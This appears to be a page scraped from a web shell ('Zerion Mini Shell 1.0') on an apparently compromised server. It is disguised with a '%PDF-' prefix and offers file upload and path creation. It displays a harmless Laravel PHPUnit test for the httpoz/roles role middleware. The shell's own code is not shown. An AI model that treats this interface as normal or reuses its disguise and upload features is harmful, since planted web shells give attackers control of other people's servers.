%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/management/vendor/httpoz/roles/tests/Feature/
Upload File :
Create Path :
Current File : /var/www/html/management/vendor/httpoz/roles/tests/Feature/RoleMiddlewareTest.php

<?php

namespace HttpOz\Roles\Tests\Feature;

use \HttpOz\Roles\Models\Role;
use HttpOz\Roles\Tests\Stubs\User;
use HttpOz\Roles\Tests\TestCase;
use Illuminate\Foundation\Testing\DatabaseMigrations;
use Illuminate\Foundation\Testing\DatabaseTransactions;

class RoleMiddlewareTest extends TestCase
{

    use DatabaseMigrations;

    /**
     * A basic test example.
     *
     * @return void
     */
    public function testForbiddenRoleRoute()
    {
        $createdUser = factory(User::class)->create();
        $createdRole = factory(Role::class)->create([
          'name' => 'Admin',
          'slug' => 'admin',
        ]);

        $foundRole = Role::findBySlug('admin');
        $foundUser = User::first();

        $foundUser->detachAllRoles();
        $foundUser->attachRole($foundRole);

        $this->actingAs($createdUser);


        $this->assertEquals($createdRole->id, $foundRole->id);
        $this->assertEquals($createdUser->name, $foundUser->name);

        /*$this->get('/admin/users')
          ->assertStatus(200)
          ->assertSee('I am an admin.');*/
    }
}

Zerion Mini Shell 1.0